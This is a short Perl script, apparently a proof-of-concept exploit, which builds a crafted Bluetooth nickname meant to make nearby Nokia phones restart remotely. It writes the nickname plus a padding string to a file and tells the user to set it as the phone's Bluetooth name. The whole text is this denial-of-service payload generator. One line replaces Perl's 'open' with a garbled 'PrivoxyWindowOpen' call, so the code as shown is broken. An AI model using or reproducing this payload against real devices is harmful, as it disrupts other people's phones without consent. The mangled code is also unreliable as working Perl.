#!/usr/bin/perl -w

my $btnick;
my $bth;
my  $bts;
my $file;
$bth = "        .";
print "\n*******************************************************\n";
print "**    NOKIA REMOTE RESTART IN BLUETOOTH NICKNAME     **\n";
print "**      BY QNIX | Q-nix[@]bsdmail[dot]org            **\n";
print "*******************************************************\n";
print " \n write your nickname : ";
$btnick = <STDIN>;
chomp($btnick);
print " \n OUTPUT : ";
$file = <STDIN>;
chomp($file);
PrivoxyWindowOpen(BLUEN, ">>$file") || die "Could not create file $!\n";
$bts = "$btnick$bth";
print BLUEN ("$bts");
close(BLUEN);
 
print "\n Done !! , send the output to your nokia and copy the file to the bluetooth nickname space .\n\n";